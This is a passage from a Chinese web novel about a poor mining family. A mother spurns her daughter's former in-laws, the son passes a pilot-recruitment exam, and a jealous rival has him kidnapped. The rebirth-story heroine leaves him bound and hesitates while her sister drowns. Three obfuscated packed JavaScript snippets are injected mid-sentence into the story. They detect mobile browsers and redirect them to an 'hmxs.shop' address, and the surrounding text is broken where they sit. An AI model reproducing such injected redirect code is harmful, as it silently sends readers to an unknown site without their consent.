“诚心?”包兰芝打断她,嘴角那点冰冷的笑意也消失殆尽,只剩下赤裸裸的厌恶,“上次你们来退亲,逼我砸锅卖铁凑那二百五十块钱的时候,也挺‘诚心’的。我们南家是穷,骨头还没软到能啃‘回头草’的地步。二位,请回吧。以后,也不必再登这个门了。” 她说完,不再看那对脸色精彩纷呈的夫妇,仿佛多看一眼都会脏了眼睛,转身拿起靠在墙边的筛子,对南雁说:“雁子,进屋,妈给你擀面条,咱今天吃打卤面。” 母女俩再没看门外一眼,相携着走进屋里,“哐当”一声,关上了自家大门,将外界那两张精彩纷呈的脸,彻底隔绝。 门外,王父脸色铁青,胸口剧烈起伏,最终从牙缝里挤出一句:“不识抬举!” 羞愤交加,却也无可奈何,一把抓起石磨上的布料,近乎粗暴地拽着妻子,狼狈不堪地匆匆离去,好像身后有恶狗追赶。 屋里,包兰芝背靠着冰凉的门板,颤抖地舒出一口气,全身的力气就像被抽空了,手脚还在微微发抖,不是怕,是强压下去的气性与激动,仍在四肢百骸里冲撞。 她怕自己会控制不住,扑上去撕烂王家那两张虚伪的嘴脸。 南雁走到她身边,沉默地递过一碗温水。 包兰芝接过碗,水温透过粗瓷传到掌心,她看着女儿沉静的眼睛,轻声说:“雁子,是妈以前……不好,想着靠别人拉扯一把……也总觉得女儿不好,是妈糊涂。往后……不会了。” 她抬起微微颤抖的手,罕见地摸了摸女儿乌黑的头发,眼圈慢慢红了,却努力扯出一个笑纹:“咱们一家人,靠自己,把日子过得挺直腰杆,比啥都强。” * 夏末的后山坡,野草疯长得没了边,油蛉在草根底下“唧唧”地叫着,那声音也是懒洋洋的,拖着长长的尾音,像是被太阳晒得没了力气。 南雁、刘小萍和谢承景三个,正猫着腰,在草丛里做着一件顶顶认真的事。 他们手里攥着用旧窗纱和细铁丝弯成的小网兜,眼睛像探照灯似的,扫过每一片颤巍巍的草叶。 草叶子边缘锯齿一样,拉在胳膊上,就是一道浅浅的白痕,汗一浸,便有些刺刺的痒。 但这小小的不适,丝毫影响不了他们专注于“事业”的心。 “那儿!一只大的!”刘小萍忽然压着嗓子叫起来,手指头戳向一株毛茸茸的狗尾巴草,心里满是发现猎物的兴奋。 一只翠莹莹的大刀螳螂,正威风凛凛地踞在上面,三角形的脑袋灵活地转动着,带着一种不自知即将大祸临头的矜持。 谢承景动作总是最快,像只没声响的狸猫,身子一矮,网兜子便悄没声息地罩了下去。 他享受这种精准捕捉的瞬间,心里计算着角度和力道。 那螳螂惊觉了,挥舞着两把锯齿大刀,却是徒劳,只在纱网上徒劳地划拉着。 南雁赶紧递上那个洗刷得透亮的旧玻璃瓶,瓶底铺了层嫩绿的草叶,像是给它预备的最后温柔乡。 谢承景小心地将那点鲜亮的绿色抖落进去,“哐”一声盖上钻了气孔的铁皮盖子。 “这只品相好,准能多卖几分钱。”刘小萍凑过来,得意地拍着瓶壁,好像那几分钱的甜头,已经化作了舌根底下实实在在的糖。 三个脑袋挤在一处,盯着瓶子里那抹困兽犹斗的翠色,眼睛里看到的,却是小卖部玻璃罐里五彩斑斓的水果硬糖,或是书摊上那一本本墨香还未散尽的连环画。 希望这东西,在孩子的心里,总是这样具体而微的。 日头偏了西,三人才带着半瓶窸窣作响的“战利品”,顺着山坡上的小路往下走。 身上沾着草屑,脸上淌着汗,东一道西一道,像花猫。心里却是喜滋滋、沉甸甸的揣在怀里,一路跟着脚步颠簸。 刚走到矿部那排暗红色砖房附近,就见公告栏前黑压压围了一群人,那情形,比过年看扭秧歌还稠密。 空气里嗡嗡的议论声,像突然炸开的蜂巢。 “咋回事?出啥事了?”刘小萍天生就是个闻见热闹味儿就挪不动步的主儿,立刻拽住南雁的胳膊,“走走走,看看去!” 南雁本不想凑这热闹,她心里还惦记着早点回家,把瓶里的螳螂用细线拴好,明天好拿去卖给那些喜欢养虫子的技校学生,换几个零钱。 但架不住刘小萍生拉硬拽,连带着一向沉默的谢承景,也被这人流的漩涡不由分说地卷了进去。 谢承景微微蹙眉,但看着南雁也被拉进来,便默默跟紧了些,努力帮她隔开拥挤的人群。 挤进里三层外三层的人群,只见工会的李主任正踩在一个小板凳上,往灰扑扑的公告栏上,贴一张崭新的大红纸。 那红色,太鲜艳,太饱满,在这灰败的背景里,简直有些触目惊心。 李主任脸上泛着油光,声音也比平时拔高了八度:“都看看,都看看啊!市里来招飞行员了!光荣!机会难得!” “飞行员”三个字,像带着魔力,瞬间攫住了所有人的心神。 底下的人头攒动着,伸长了脖子,像一群被无形的手提着的鸭。 每个人的脸上都写着惊异、好奇,以及一丝被这巨大机遇灼烧到的亢奋。 有识字的人,断断续续地大声念着上面的条件:“……身高……体重……视力1.0以上……年龄十八到二十周岁……” 每念出一条,人群中就发出一阵小小的骚动,有人暗自比对,有人摇头叹息。 刘小萍个子小,踮着脚也看不全,急得直扯南雁的袖子:“写的啥?写的啥呀?飞行员是干啥的?能开飞机上天?” 南雁比她高半头,目光越过前面人的肩膀,落在那些清晰的条件上,心里默默记着。 谢承景则安静地站在她们身后,目光扫过人群各异的表情,最后落在那张红榜上,眼神里的好奇逐渐变为平静。 好容易挤出人群,刘小萍还沉浸在刚才那股热闹里,小嘴叭叭地说个不停:“飞行员!我的娘诶,那不就是天上的人物嘛!” 她忽然用力一拍大腿,脸上露出极懊恼的神色,“可我大哥下个月才满十八,就差这一个月!真气死人了!” 她叽叽喳喳的,目光忽然落到身边的南雁身上,眼睛猛地一亮,一把抓住南雁的胳膊:“雁子!雁子!你哥!南天贵!他不是正好十九吗?年龄正合适啊!” 南雁被她晃得一愣,心里那潭静水,像被人伸了根棍子搅得翻天覆地,她下意识地回头,又望了一眼那被人群层层簇拥着的红色公告。 那红色,此刻在她眼里,不再是单纯的喜庆,而带着一种灼人,令人不安的温度。 南天贵?飞行员?这两个词放在一起,显得那么不真实,甚至……有些讽刺。 “我……我哥他……”南雁张了张嘴,话到了嘴边,却变成了一阵无声的嗫嚅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655201|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不配有这么光明的前途。 刘小萍还在旁边兴奋地规划着,仿佛已经看到了南天贵穿上飞行服的样子:“让你哥去试试呗!万一选上了,你们家可就……” 她后面的话没说,但意思大家都懂。 一直没说话的谢承景也看向南雁,轻轻点了点头,眼神里带着一丝鼓励,但他敏锐地察觉到了南雁情绪的异常,那不仅仅是犹豫。 三个少年的身影,被夕阳拉得忽长忽短,在道路上晃动。 手里的玻璃瓶中,那只翠绿的螳螂还在徒劳地挥舞着大刀,碰撞着瓶壁,发出细碎而焦躁的声响,像是在呼应南雁此刻纷乱的心绪。 南雁默默握紧了冰凉的瓶身,这突如其来的消息,像一只受惊的鸟儿,在她心口扑腾着,翅膀扇起一阵无名的慌乱。 她揣着这份慌乱,一路往家走去。 矿区的喧嚣在身后渐渐模糊,只有“飞行员”三个字,在她脑海里反复回响,像一句无法驱散的咒语。 这消息像夏末最后一股热风,没几天就刮遍了整座881矿,钻进每一个缝隙,点燃了适龄小伙子们心底那点压抑着,对另一种人生的向往。 碗里的糊糊,在此刻也尝出了别的滋味。 有人夜里摸着黑,在自家墙上划道道量身高,心里既期待又忐忑;有人偷偷去卫生所,想找相熟的护士先看看视力表,生怕那小小的“E”字成为拦路虎;更有人回家翻箱倒柜,找出压箱底没穿过的白衬衫,对着模糊的镜子,笨拙地打着褶皱的领结,幻想着自己在招飞干部面前留下最好的一面。 包兰芝也像是被这风吹活了心思,桌上天天都能见到油荤,但仅限于南天贵享用。 她看着大儿子沉默吃饭的样子,眼神里满是喜悦,万一她宝贝儿子选上了,那可真是扬眉吐气,下巴都抬天上去。 她心里已经开始编织儿子翱翔蓝天的美梦,这梦足以覆盖掉之前所有的阴霾。 报名那天,矿部那间用作会议室的大房子简直要被人撑破。 空气混浊,汗味、烟味、还有年轻人身上那股躁动的热气混杂在一起。 南天贵也来了,他穿着洗得发白但干净整齐的工装,沉默地排在队伍里,像一块沉在水底的石头。 周围的目光有意无意地扫过他,带着探究,也带着几分说不清道不明的隔阂。 他只是垂着眼,看着自己摊开的手掌,那上面布满粗糙的纹路和硬茧。 矿长的侄子霍振华也来了,他没排队,径直走到前面,和负责登记的人笑着说了几句什么,便俯身填了表。 他穿着挺括的的确良衬衫,手腕上戴着明晃晃的手表,神情从容,仿佛眼前的喧嚣都与他无关。 两个工程师家的孩子,张志军和李明,站在一起,低声交谈着,他们脸上带着知识家庭特有的那种文气,也有些许紧张,但更多的是跃跃欲试。 初试安排在矿上的小礼堂。 市里来的招飞干部穿着笔挺的军便装,神情严肃,眼神锐利得像能刮下一层皮。 他们带来的仪器闪着冷冰冰的光。 第一关是量身高的标尺,像是命运的界碑。 有人偷偷踮脚,立刻□□部厉声喝止,满脸通红地缩了回去;有人下意识含胸,□□部一巴掌拍直后背,疼得龇牙咧嘴。 达标者暗松一口气,仿佛闯过了第一道鬼门关;未达标者脸色瞬间灰败,眼神里的光熄灭了,默默退到一旁,像被抽走了魂灵。 第二关是查视力,那密密麻麻,方向各异的“E”字,像无数只审视的眼睛。 有人额头冒汗,眯着眼,手指颤抖着,指错了方向,懊恼地一拍大腿,恨不得时间倒流;也有人轻松过关,脸上露出矜持的笑意,仿佛胜券在握。 接着是检查色盲、测听力、平衡感测试……一关又一关,毫不留情。 有人在旋转后踉跄跌倒,天旋地转中感到梦想的破碎;有人在复杂的音节辨识中面露茫然,听着那些模糊的声音如同听着命运的嘲弄。 小礼堂里,希望如同风里残烛,一盏接一盏,悄无声息地熄灭了,只留下一地冰冷的烟灰,和无数个破碎的蓝天梦。 空气里弥漫着失望的叹息和强忍的哽咽。 35. 初试 南天贵始终很稳。 他个子够高,身板挺拔,常年在井下劳作,让他的平衡感和反应能力出奇地好。 查视力时,他眼神沉静,手指点过去,准确得没有半分犹疑。 检查身体的医生在他结实的肌肉和清晰的骨骼上按捏,他一声不吭,只有微微紧绷的嘴角泄露了一丝紧张。 □□也顺利通过了,过程显得轻松许多,他甚至有空对旁边有些狼狈的人投去一个略带优越感的眼神。 在他心里,这一切本就理所当然,他的起点,本就是许多人奋斗的终点。 张志军和李明,凭借着良好的身体基础和相对优越的成长环境,也勉强挤过了关卡。 他们暗自松了口气,互相交换着庆幸的眼神。 当最后一项检查结束,招飞干部拿着最终的名单,目光扫过礼堂里剩余不多,神情各异的年轻人:“下面,念到名字的同志,初试通过。□□、张志军、李明。” 每念一个名字,就有人肩膀一垮,也有人眼中迸发出光彩。 干部停顿了一下,视线落在那个一直沉默的身影上:“南天贵。” 名字念出的瞬间,南天贵猛地抬起了头,胸腔剧烈地起伏了一下,像是长久潜泳的人终于浮出水面,吸到了第一口空气。 一股滚烫的热流猝不及防地冲上他的眼眶,又被他死死逼了回去。 他紧紧抿住嘴唇,把那几乎要冲口而出的激动狠狠压了回去,只在紧握的拳头上,暴起了青筋。 成了?竟然真的……成了第一步? 而礼堂里,那些落选者的目光,织成了一张无形却又粘稠的网,网住了这四个幸运儿。 羡慕是浅薄的,底下沉着厚重的失落、不甘,还有不敢宣之于口的质疑。 这四个人,像是矿区不同层面的切片,此刻却被“飞行员”这三个金光闪闪的字,强行归拢到了一处,显得那么突兀,又那么宿命。 门外的消息像泼出去的水,立刻引发了“嗡”的一声议论。 那声音起初是压抑的,随即便有些不管不顾起来,失望与嫉妒找到了宣泄的出口。 “凭什么?”一个青工涨红了脸,指着南天贵,“他南天贵凭什么?他坐过牢的!” “就是!飞行员是多金贵的位置?怎么能让……”有人小声附和。 质疑、不甘、嫉妒,这些浑浊的情绪,在落选者之间无声地流淌,汇聚,最后都化作冰冷刺骨的目光,聚焦在南天贵身上。 他站在那里,刚刚升腾起一点微弱的喜悦,迅速被这现实的冰水浇熄。 他像风暴眼里的一叶孤舟,四周是汹涌的暗流,脊背却挺得更直,以一种沉默的姿态,承受着这一切无形的碾轧。 “哎呀,人家那是被陷害了,警察都还他青白了,还在讲这些。”终究有人看不过眼,出声说了句公道话,那声音在嘈杂里,显得微弱而孤单,很快就被更大的声浪淹没。 招飞干部见惯了这种场面,他脸色一沉,目光威严地扫过骚动的人群,声音洪亮:“选拔标准,是国家和部队定的!通过的同志,是经过严格检查,符合所有硬性条件的!有什么疑问,可以按程序反映,但在这里,结果就是结果!” 他顿了顿,宣布:“通过初试的同志,复试安排在一星期后,在市统一进行。具体时间地点,会另行通知。都散了吧,回去好好准备!” 人群在这不容置喙的威压下,不情愿地开始蠕动、散去。 但那些议论声并未停歇,像赶不走的苍蝇,在夕阳的余晖里嗡嗡作响,挥之不去。 南天贵没有理会那些刺人的目光和议论,他默默收拾好自己的东西,第一个走出了礼堂。 夕阳的金辉落在他身上,拉出一道坚定的影子。他没有回头,步伐稳健地朝着家的方向走去。 …… 包兰芝正在灶台边忙碌,南秉义坐在小凳上修补下井的胶鞋。 正在写作业的南秀最先看见了回来的南天贵,铅笔停在作业本上,仰起脸:“哥,回来了?咋样?” 南天贵站在门口,逆着光,身影将门外最后一点亮色堵住。他看着家人,一路上紧绷的嘴角终于松动,一抹清浅的笑意漾开:“初试,过了。” “啥?”包兰芝手里的锅铲“咣当”一声掉在锅里,她转过身,围裙都忘了解,双手在衣襟上无措地擦着,眼圈瞬间就红了,“过了?真……真过了?” 南秉义修补的动作也停了下来,抬起满是皱纹的脸,望着站在光晕里的大儿子,嘴唇哆嗦了几下,最终,只从胸腔里挤出重重的一个字:“好!” 短暂的震惊和沉默后,是巨大的狂喜。 包兰芝手忙脚乱地重新拿起锅铲,嘴里不住地念叨:“得做点好的,得做点好的……当家的,快去院里逮只鸡杀了,给天贵补补!” 晚上,南雁放学回来,刚走到院门外,便闻到一股久违带着油脂香气的炖鸡味道。 她一进门,包兰芝就迎了上来,满脸喜悦藏都藏不住:“雁子!回来啦?先别去写作业,你哥初试过了,咱家今天吃炖鸡,庆祝庆祝,快去洗手吃饭,帮妈把菜端过去。” 南雁闻言,脚步一顿,眼中晦暗一闪而过,随后面色无常道:“知道了,妈。” …… 南天贵通过初试的消息,如同一撮强劲的酵母,投进了家属院这盆原本平静的面团里,眼看着就发酵、膨胀开来,散发出各种复杂的气味。 最先登门的,依旧是对门的老赵。 这回他手里没攥着油汪汪的韭菜合子,倒是提了半瓶看不出牌子的散装白酒,脸上堆起的笑容,将皱纹挤成了深沟,像是风干的橘皮忽然被水泡开了。 “兰芝!天贵!出息了啊!飞行员!那可是天上的人物!我就说天贵这孩子打小就不一般,脑瓜灵光,身子骨也结实!将来开了飞机,那可真是给咱们矿区,不,给咱们全市争光!”他嗓门洪亮,恨不得让全院的人都知道他的“先见之明”。 包兰芝正坐在小凳上,低头剥着豆子,听着老赵那番与之前判若两人的话,她心里像吞了苍蝇般恶心。 她眼皮都没抬,只淡淡回了句,“初试而已,当不得真,后面还难着呢。” 老赵碰了个软钉子,讪讪地把酒放在门槛边:“一点心意,给天贵鼓鼓劲!” 说完,几乎是落荒而逃。 接着,平日里走动不多,甚至有些疏远的邻居们也像是约好了似的,“顺路”过来道贺。 言辞是滚烫的,裹挟着羡慕,但那热度底下,总藏着几分不易察觉的酸意和小心翼翼的打探。 “兰芝嫂子,以后可是要享福了!” “天贵这一飞冲天,你们家这门槛,怕是要被媒人踏破喽!” 有人更是直接,拎着临时凑起来的水果点心,话里话外便开始绕着圈子打听南天贵有没有对象,急切地想要为自家闺女或亲戚牵上这根似乎即将直上青云的线。 “我娘家侄女,在纺织厂上班,模样周正,性子也好……” “我表姐家的闺女,高中毕业,现在在小学代课,跟天贵年纪正相当……” 包兰芝起初还勉强应付两句,心里却越来越冷。 直到有人把话说得露骨,好像南天贵这飞行员已是板上钉钉,迫不及待地来分一杯羹时,她心里的厌恶达到了顶点,脸上的最后一点客气也挂不住了。 好不容易把这些人打发走,院里又来了一个八竿子打不着的远房表亲,带着个眉眼低垂、羞羞答答的姑娘上门,明里暗里夸那姑娘“屁股大,能生养,以后肯定能给你们南家开枝散叶”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663709|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 包兰芝气得把手里的豆壳往盆里猛地一扔,抬起眼,目光在那姑娘和表亲脸上扫过,慢悠悠地开口:“他表姨,你这心操得太早了。天贵这不过是刚过了头一道坎儿,后面是啥光景还不知道呢。飞行员那是天上飞的,我们这小门小户,攀不上高枝,也不敢耽误人家好姑娘。再说了,我们家天贵的事儿,他自己有主张,我这当妈的,不做那拉郎配的缺德事。” 她顿了顿,看着表亲瞬间僵住的笑脸,又补了一句,语气更淡:“这姑娘看着是个好的,你还是赶紧给她寻个踏实人家吧,别在我们这棵还没长成的歪脖子树上吊着。” 表亲脸色霎时红白交错,拉着那满脸通红的姑娘,几乎是夺门而出。 包兰芝站起身,走到门口,对着仓惶消失在暮色里的背影,又提高音量,让左邻右舍那些支棱着的耳朵都听个分明:“往后啊,谁再来说这些没影儿的事,就别怪我包兰芝说话难听,不留情面了!” 她“砰”地一声关上门,隔绝了外面的一切嘈杂。转过身,看着屋里一直沉默做事的儿女,长长吐出一口浊气。 南雁递给她一碗水,轻声说:“妈,消消气。” 包兰芝接过,仰头喝了一口,那冰凉的液体滑过喉咙,一路浇下去,让她沸腾的血液稍稍冷静了点。 她看着大女儿沉静的面容,又侧耳听了听里屋门帘后,大儿子那几乎没有声息的动静,低声道:“这人啊,捧高踩低是常性。咱们啊,还得靠自个儿站稳了。你哥的路长着呢,这才哪到哪。” 屋里重新安静下来,只有剥豆子的细微声响。 …… 与此同时,在矿区另一头一间弥漫着烟酒气的昏暗屋子里,李文华一脚踹翻了眼前的矮凳。 那凳子撞在墙上,发出沉闷的响声。 他脸色铁青,胸口剧烈地起伏着,眼睛里布满了蛛网般的血丝。 他也去参加了初试,却在平衡感测试那一关就被刷了下来。 “妈的!南天贵!他算个什么东西!他也配?!”李文华低吼着,嫉妒像毒蛇一样啃噬着他的心。 他平时在班组里,就最瞧不上南天贵那副二五仔、自甚清高的模样,为此没少在工作中明里暗里给他下绊子、抢功劳。 如今,这个他踩在脚下都嫌脏了鞋底的人,竟然一步登天,踩到了他连做梦都够不着的云端,这口气如何能咽下? “华哥,消消气,为那种人生气不值当。”旁边一个尖嘴猴腮,名叫刘三的跟班凑上来,谄媚地递过一支皱巴巴的烟,眼里闪烁着狡黠的光,“他不过是过了初试而已,不是还有复试吗?市里头,那能人多了去了,他一个黑球子,能有多大戏?” “复试?那穷小子走了狗屎运,万一……”李文华狠狠吸了一口烟,劣质的烟雾呛得他咳嗽了几声,表情在缭绕的青烟里愈发显得狰狞扭曲。 他不敢去想那个“万一”。 刘三阴恻恻地一笑,压低声音:“华哥,要是他……参加不了复试呢?” 李文华猛地扭过头,三角眼死死盯着他:“什么意思?” “一星期时间,够干很多事了。咱们找个机会,把他‘请’过来,‘好好’劝他放弃。顺便……把他揍一顿,让他躺上十天半个月,出出您这口恶气!神不知,鬼不觉的,到时候就说是他自己晚上走路不小心摔沟里了,谁还能查到咱们头上?” 李文华眯起眼睛,凶光在眸子里闪烁。 嫉妒和愤恨已经冲昏了他的头脑,刘三的提议像是一把钥匙,打开了他心底囚禁的恶兽。 他仿佛已经看到南天贵躺在泥泞里痛苦呻吟的样子,这想象带来一种扭曲的快感。 他扔掉还剩半截的烟头,用鞋底反复地碾磨着,好似脚下踩着的就是南天贵那张让他恨之入骨的脸:“干!” 36. 酸甜苦辣咸 最后一缕光线从山脊上消失,天地间霎时灰败下来。 包兰芝站在自家院门口,第三次向南边那条蜿蜒入暮色的小路尽头张望。 南秉义叼着旱烟袋出来,烟锅里那点红光明灭不定,像极了此刻他的心,“先回屋吃饭吧,天贵大了,许是有什么事绊住了脚。” 包兰芝摇头:“不对劲,天贵从不这样……一声不吭地晚归。” 林菲那件事,像一条冰冷的毒蛇,盘踞在她心底最深的角落,时不时便昂起头,吐着信子,让她遍体生寒。 所谓一朝被蛇咬,十年怕井绳,便是如此了。 南秉义抖掉烟灰,“兴许是去找邻村的朋友了,孩子大了,总不能像拴羊羔似的,时时拴在裤腰带上。” 包兰芝扭身朝屋里问,“南雁!你大哥今天有跟你说什么没有?” 南雁正站在里屋的门槛上,身影一半在昏暗的灯光里,一半浸在门外的黑暗中。 她闻言,头也没抬,只吐出两个干巴巴的字:“没有。” 包兰芝心口那点不安,像滴入清水里的墨,迅速泅染开来,瞬间弥漫成一片漆黑的恐惧。 她无力地在门槛上坐下:“当家的,我这心啊,七上八下的,慌得厉害。你说,不会……不会又摊上什么不好的事吧?” 南秉义拍了拍她的肩膀:“别自己吓自己,再等等。真要天黑透了还不回来,我就出去寻。” 南雁默不作声地坐到桌边,埋头吃饭。 她想起中午放学回来,远远看见李文华急匆匆从后山方向下来,裤脚上粘着好几个苍耳子,毛刺刺的。 后山那地方,林子深,平日里大家伙儿都默契地不去,都说里头有熊瞎子,还有饿绿了眼的狼。 李文华没事往那儿钻,本就不寻常。更重要的是,他是南天贵的死对头,在班组里没少给他下绊子,这让她不得不多想。 突然,一个阴暗的念头不受控制地冒出来:如果他真的“出事”了,是不是就参加不了复试了?那自己……是不是就不用再活在他的阴影和可能带来的新一轮麻烦之下? 这念头让她心惊,却又带着点隐秘的诱惑。 夜幕完全降临,南天贵还是没有回来。 包兰芝彻底慌了,声带哭腔:“秉义!咱快去找找天贵!他肯定出事了!肯定!” 不多时,南家小院里,影影绰绰聚了七八个男人,都是平日里与南秉义说得上话,肯在难时搭把手的邻居。 南秉义简单说了情况,众人低声商议了几句,便提着马灯,分头没入浓稠的夜色里。 南雁和几个稍大些的妹妹也跟着出了门。 她问了几户与南天贵相熟的人家,得到的回答不是摇头,便是同样茫然的“没见过”。 那不祥的预感,像一粒深埋的种子,在心底悄然生根发芽,如今已快顶破理智的土壤。 她再次想起了李文华裤脚上的苍耳子。 鬼使神差地,她掉转头,朝着后山那条模糊的小路跑去。 月光稀薄得像一层惨白的纱,吝啬地铺在山路上。 荆棘野草扯着南雁的裤腿,发出“嗤啦”的声响,像是无声的挽留。诡异的是,她心里竟没有多少害怕。 快到林子边缘时,一阵风过,南雁隐约听到山坡上那座废弃的猎户屋里,传来断断续续嘶哑的呼救声。 那声音听得人心头发毛,一瞬间,她的心狂跳起来,几乎要撞破胸膛。 她屏住呼吸,从草丛里摸索着捡起一根不知废弃了多久的木棍,握在手里,冰冷的触感让她打了个激灵, 南雁小心翼翼地靠近那间破屋,木门歪斜着,裂开一道黑黢黢的缝,一股混合着腐烂木料和尘土的霉味,从里面扑鼻而来。 借着门缝里漏进的一点微光,她看到角落那根支撑着屋顶的柱子前,有个人影在费力地扭动。 那人似乎喊得太久,声音已经完全嘶哑。 南雁环顾四周,确认除了屋里被绑着的人,再无异样,才轻轻推开门,走了进去。 那扇破门发出“吱呀”一声呻吟,在死寂里格外刺耳。 里面的人似乎听到了动静,挣扎的动作一顿,嘶哑地问,声音里带着一点不敢置信的希冀:“谁?你是来救我的吗?” 南雁闻言,顿在原地。这声音……不是南天贵还能是谁?! 她走近几步,借着那点可怜的月光仔细瞧去。 南天贵被人用粗麻绳将双手反剪在身后,牢牢捆在那根满是木刺的柱子上。 眼睛被一块脏污的黑布蒙着,嘴上贴着胶布,一边似乎被他挣扎得有些脱落,悬在半空,另一边还死死地粘在脸颊上,不知是绑架者疏忽,还是他自己拼命蹭开的。 他整个人狼狈不堪,往日那点骄傲荡然无存。 南天贵等了半晌,没等到回答,也没感觉到有人来解绳子,那点微弱的希望迅速被恐慌吞噬。 他急了起来,哀求道:“兄弟?大哥?你、你绑架我没用的,我家里没钱……穷得叮当响!你放了我吧,我保证,不!我发誓!我绝对不会把今晚的事说出去!一个字都不说!” 南雁沉默地站在他面前,意味不明地端详着他因恐惧而扭曲的脸,那平日里沉默坚毅的线条,此刻被慌乱扯得变了形。 她心里涌起一股极其复杂的情绪,像是打翻了五味瓶,酸涩苦辣咸,唯独没有甜。 前世今生,那些因他而起的委屈、忽视、乃至最终的悲惨,像潮水般涌上心头。 她忽然伸出手,将那块悬空的胶布,狠狠地重新按了回去,死死地摁紧,确保它再难挣脱。 南天贵惊恐地瞪大了眼,虽然被蒙着,他骤然加剧挣扎,拼命想呼喊,却只从喉咙发出“呜呜”声。 他像一条被扔上岸的鱼,徒劳地扭动着身体,巨大的恐惧和难以置信淹没了他——为什么?这人为什么不救他,反而要封住他的嘴? 南雁满意地看着他因恐惧而颤抖的模样,心里升起一股报复成功的畅快感,那快意像水蛇,缠绕着她的心。 她一步一步往后退,退到门口,利落地转身,头也不回地扎进浓重的夜色里,步履轻快得几乎要飞起来。 上山时觉得又长又陡的路,此刻下山,却变得又平又短。 风掠过耳边,带着自由的呼啸。 跑到半山腰那个早已荒废,只剩下淤泥和杂草的鱼塘边,她才停下来,扶着膝盖喘息。 心还在砰砰直跳,不是因为累,而是因为那股难以抑制的激动。 她需要平复一下,不能让任何人看出她心底几乎要破土而出的喜悦。 “大姐!?你找到大哥没有?”一个焦急的声音突然响起,带着喘息。 南春满脸焦灼地从小路另一头跑来。 南雁吓了一跳,刚要开口用想好的说辞搪塞,鱼塘边那棵歪脖子柳树上栖着的一道黑影被惊动。 “咕喵——” 一声凄厉的叫声撕裂了山腰的寂静。 南雁循声望去,只见那黑影扑棱着翅膀,无声地滑翔到另一棵更远的树上,融入了黑暗中。 “啊呀!”南春胆子本就小,这突如其来的一声怪叫,吓得她魂飞魄散,脚下一软,踩塌了鱼塘边早已松软的土块,“噗通”一声,整个人栽进了黑沉冰冷,散发着腐殖质腥臭的淤泥塘里! “南春!”南雁下意识伸手想去拉她。 “救命......救......咕噜咕噜.......”月光下,南春在水里胡乱扑腾,浑浊的水花四溅,呛咳声断断续续,满是绝望与濒死的恐惧。 南雁急忙跑到水边,正要下水,一段被她死死压在心底,几乎要烂掉的记忆,如同水鬼冰冷粘腻的枯手,倏地从深渊里探出,死死攥紧了她的心脏—— 那是前世一个同样闷热难熬的夏天,晒谷场边,南春穿着崭新的碎花衬衫,和几个她的小伙伴围着她,指指点点。 南春笑得最大声,最刺耳,“瘸子南雁,嫁不出去喽!谁要娶瘸子啊?!哈哈哈!” 那句话如刀一般扎在她的心上,至今仍在隐隐作痛。 “姐!救.......我不会......”南春又呛了一口污水,声音微弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672766|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去,挣扎也变得无力。 南雁伸出的手,僵在半空。 救她? 这个曾经用最恶毒的话语剐她心的人?这个让她在无数个黑夜里把眼泪和着血沫往肚子里咽的人? 让她淹死好了!这就是报应!是她们欠你的! 她脚步不由自主地往后退,一步,两步,直到退到绝对安全的距离才停下来。 冰理智告诉她,只要再犹豫一会,只要一小会儿,眼前这个让她恨过的人,连同山上那个可能毁了她未来希望的人,都会从她的生活里彻底消失。 水中的扑腾声逐渐小了。 “你的腿有毛病,你的脑子也有毛病吗?”南春当年的嘲笑仍在耳边回荡,像魔咒一样。 南雁的拳头死死攥紧,就因为这条不争气的腿,她成了全家的累赘,成了父母眼中最不值钱,将来只能用来换点彩礼的货物。 凭什么她们都能好好的?凭什么?! 潭水还在吞噬南春,她的挣扎弱了下去,呛水声变成了嗬嗬的怪响,手臂徒劳地拍打了几下,最终缓缓沉了下去,只剩一串水泡咕噜咕噜冒上来,水泡破裂,水面恢复了死寂。 南雁浑身剧烈地一颤。 前世的羞辱和眼前人命的重量,把她撕扯成两半,她低声说:“不!她要有光明璀璨的前途,不能、双手沾满人血。” “救命啊!有人落水了!来人啊——”南雁扯开了嗓子,边跑边喊。 正在附近心急如焚寻找南天贵的南秉义,隐约听到了这撕心裂肺的呼喊,他心头巨震,那声音分明是——“雁子!” 他辨明方向,如同被火烧了尾巴的豹子,朝着鱼塘的方向发足狂奔而去,心里祈祷着千万不要是另一个孩子出事。 南秉义看到鞋子都跑掉了一只,浑身狼狈的南雁,来不及多问,更来不及脱衣服,纵身就跳进了冰冷污浊的鱼塘里。 他水性好,很快就在淤泥中摸到了已经昏迷沉底的南春,奋力把她拖上了岸。 南春脸泛青紫,嘴唇乌黑,已经没了呼吸,像一朵凋零的花。 南秉义二话不说,跪在地上,用力且有节奏地按压着她单薄的胸膛。 这时,南雁带着几个闻声赶来的邻居叔叔跑了回来。 